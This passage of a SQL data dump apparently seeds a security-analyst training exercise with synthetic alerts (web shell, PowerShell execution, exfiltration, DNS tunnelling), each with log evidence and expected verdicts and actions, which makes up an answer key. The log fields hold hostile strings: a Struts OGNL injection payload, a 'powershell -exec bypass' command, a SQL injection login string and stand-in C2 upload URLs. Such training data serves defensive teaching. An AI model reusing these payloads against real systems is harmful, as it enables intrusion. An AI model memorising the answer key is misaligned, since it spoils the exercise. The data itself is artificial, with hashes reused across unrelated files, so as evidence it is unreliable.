4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/struts2-showcase/index.action\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"payload\\\":\\\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\\\",\\\"response_code\\\":200,\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(577, 'Unusual Command Execution Observed', 'high', 'Application Logs', 'Post-exploitation activity detected. An attacker executed a series of suspicious commands to establish control over the server. The commands are indicative of an attempt to further compromise the system by downloading additional malicious payloads.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"log_source\":\"application_log\",\"event_type\":\"command_execution\",\"user\":\"compromised_user\",\"source_ip\":\"192.168.1.105\",\"command\":\"powershell -exec bypass -File C:\\\\Users\\\\Public\\\\malicious.ps1\",\"malicious_file\":\"C:\\\\Users\\\\Public\\\\malicious.ps1\",\"attacker_ip\":\"198.51.100.23\",\"hash\":\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\",\"additional_info\":\"Command executed with elevated privileges\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known malware variant\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.209Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"log_source\\\":\\\"application_log\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"command\\\":\\\"powershell -exec bypass -File C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"malicious_file\\\":\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"attacker_ip\\\":\\\"198.51.100.23\\\",\\\"hash\\\":\\\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\\\",\\\"additional_info\\\":\\\"Command executed with elevated privileges\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.209Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"log_source\\\":\\\"application_log\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"command\\\":\\\"powershell -exec bypass -File C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"malicious_file\\\":\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"attacker_ip\\\":\\\"198.51.100.23\\\",\\\"hash\\\":\\\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\\\",\\\"additional_info\\\":\\\"Command executed with elevated privileges\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.209Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"log_source\\\":\\\"application_log\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"command\\\":\\\"powershell -exec bypass -File C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"malicious_file\\\":\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"attacker_ip\\\":\\\"198.51.100.23\\\",\\\"hash\\\":\\\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\\\",\\\"additional_info\\\":\\\"Command executed with elevated privileges\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.209Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"log_source\\\":\\\"application_log\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"command\\\":\\\"powershell -exec bypass -File C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"malicious_file\\\":\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"attacker_ip\\\":\\\"198.51.100.23\\\",\\\"hash\\\":\\\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\\\",\\\"additional_info\\\":\\\"Command executed with elevated privileges\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.209Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"log_source\\\":\\\"application_log\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"command\\\":\\\"powershell -exec bypass -File C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"malicious_file\\\":\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malicious.ps1\\\",\\\"attacker_ip\\\":\\\"198.51.100.23\\\",\\\"hash\\\":\\\"f2a4d7f5b8a9db7c9e30c1e4f2b1a5d4\\\",\\\"additional_info\\\":\\\"Command executed with elevated privileges\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(578, 'Web Shell Detected in Server Directory', 'high', 'File Integrity Monitoring', 'A web shell was detected in the server directory, indicating an attempt to maintain persistent access to the compromised system. The file integrity monitoring system flagged an unauthorized file upload, which was later identified as a web shell. The immediate threat involves potential unauthorized control over the server.', 'Persistence', 'T1505.003 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"event_type\":\"file_change\",\"host_ip\":\"192.168.1.10\",\"file_path\":\"/var/www/html/shell.php\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"webadmin\",\"source_ip\":\"203.0.113.45\",\"action\":\"upload\",\"status\":\"success\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a common web shell\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"shell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of known web shells\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.210Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"/var/www/html/shell.php\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"webadmin\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"upload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.210Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"/var/www/html/shell.php\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"webadmin\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"upload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.210Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"/var/www/html/shell.php\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"webadmin\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"upload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.210Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"/var/www/html/shell.php\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"webadmin\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"upload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.210Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"host_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"/var/www/html/shell.php\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"webadmin\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"upload\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(579, 'Unexpected Outbound Traffic Spike', 'high', 'Network Traffic Analysis', 'Detected a significant spike in outbound network traffic from internal systems to an external IP associated with known malicious activity. The data being exfiltrated includes sensitive files.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:07Z\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"port\":443,\"bytes_sent\":10485760,\"filename\":\"confidential_data.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"process\":\"data_exfil.exe\",\"url\":\"https://malicious-c2-server.com/upload\",\"indicator_type\":\"malware\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 server.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Policies\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://malicious-c2-server.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation\",\"verdict\":\"malicious\",\"details\":\"URL linked to malicious C2 activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(580, 'Unauthorized User Account Activity', 'high', 'User Authentication Logs', 'An attacker is using compromised credentials to move laterally across the network, attempting to access additional sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:12:55Z\",\"event_id\":\"4624\",\"event_type\":\"Logon\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"logon_type\":\"3\",\"logon_process\":\"NtLmSsp\",\"target_domain\":\"INTERNALCORP\",\"target_username\":\"jdoe\",\"logon_guid\":\"{3E7EAB11-4C7A-4D7D-BB8D-ED7BE3AB1A8A}\",\"source_port\":\"52435\",\"status\":\"Success\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"additional_info\":{\"filename\":\"compromised_document.docx\"}}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a corporate server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account, potential credential compromise\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used in lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(581, 'Anomalous File Access Patterns', 'medium', 'File Access Logs', 'During routine monitoring, anomalous access patterns were detected on the file server. An external IP address was observed accessing multiple files containing sensitive information, potentially as a reconnaissance activity to identify valuable data for exfiltration.', 'Reconnaissance', 'T1592 - Gather Victim Host Information', 1, 'Closed', 259, '{\"timestamp\":\"2023-10-11T14:25:37Z\",\"event_type\":\"file_access\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"file_accessed\":[\"/finance/2023_budgets.xlsx\",\"/hr/employee_records.docx\",\"/legal/contracts/nda.pdf\"],\"file_hash\":[\"5f4dcc3b5aa765d61d8327deb882cf99\",\"098f6bcd4621d373cade4e832627b4f6\",\"e99a18c428cb38d5f260853678922e03\"],\"access_method\":\"smb\",\"action\":\"read\"}', '2026-01-08 22:06:19', '2026-03-07 19:27:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known reconnaissance activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/finance/2023_budgets.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive financial document accessed\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/hr/employee_records.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive HR document accessed\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"/legal/contracts/nda.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive legal document accessed\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.213Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:25:37Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"file_accessed\\\":[\\\"/finance/2023_budgets.xlsx\\\",\\\"/hr/employee_records.docx\\\",\\\"/legal/contracts/nda.pdf\\\"],\\\"file_hash\\\":[\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"098f6bcd4621d373cade4e832627b4f6\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"access_method\\\":\\\"smb\\\",\\\"action\\\":\\\"read\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.213Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:25:37Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"file_accessed\\\":[\\\"/finance/2023_budgets.xlsx\\\",\\\"/hr/employee_records.docx\\\",\\\"/legal/contracts/nda.pdf\\\"],\\\"file_hash\\\":[\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"098f6bcd4621d373cade4e832627b4f6\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"access_method\\\":\\\"smb\\\",\\\"action\\\":\\\"read\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.213Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:25:37Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"file_accessed\\\":[\\\"/finance/2023_budgets.xlsx\\\",\\\"/hr/employee_records.docx\\\",\\\"/legal/contracts/nda.pdf\\\"],\\\"file_hash\\\":[\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"098f6bcd4621d373cade4e832627b4f6\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"access_method\\\":\\\"smb\\\",\\\"action\\\":\\\"read\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.213Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:25:37Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"file_accessed\\\":[\\\"/finance/2023_budgets.xlsx\\\",\\\"/hr/employee_records.docx\\\",\\\"/legal/contracts/nda.pdf\\\"],\\\"file_hash\\\":[\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"098f6bcd4621d373cade4e832627b4f6\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"access_method\\\":\\\"smb\\\",\\\"action\\\":\\\"read\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.213Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:25:37Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"file_accessed\\\":[\\\"/finance/2023_budgets.xlsx\\\",\\\"/hr/employee_records.docx\\\",\\\"/legal/contracts/nda.pdf\\\"],\\\"file_hash\\\":[\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"098f6bcd4621d373cade4e832627b4f6\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"access_method\\\":\\\"smb\\\",\\\"action\\\":\\\"read\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(582, 'DNS Tunneling Suspected', 'high', 'DNS Query Logs', 'A DNS tunneling technique has been detected, indicating potential command and control activities. The attacker is using DNS queries to maintain communication with compromised systems.', 'Command and Control', 'T1071.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:07Z\",\"source_ip\":\"10.2.3.15\",\"destination_ip\":\"203.0.113.45\",\"queried_domain\":\"malicious.example.com\",\"dns_query_type\":\"TXT\",\"dns_response\":\"d41d8cd98f00b204e9800998ecf8427e\",\"internal_host\":\"compromised-host.local\",\"username\":\"jdoe\",\"unique_transaction_id\":\"1234567890abcdef\",\"detected_hash\":\"e99a18c428cb38d5f260853678922e03\",\"detected_filename\":\"dns_tunnel_tool.exe\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP used by APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"DNS Threat List\",\"verdict\":\"malicious\",\"details\":\"Domain associated with DNS tunneling activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known DNS tunneling tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"dns_tunnel_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"File detected as DNS tunneling executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.214Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.2.3.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"queried_domain\\\":\\\"malicious.example.com\\\",\\\"dns_query_type\\\":\\\"TXT\\\",\\\"dns_response\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"internal_host\\\":\\\"compromised-host.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"unique_transaction_id\\\":\\\"1234567890abcdef\\\",\\\"detected_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"detected_filename\\\":\\\"dns_tunnel_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.214Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 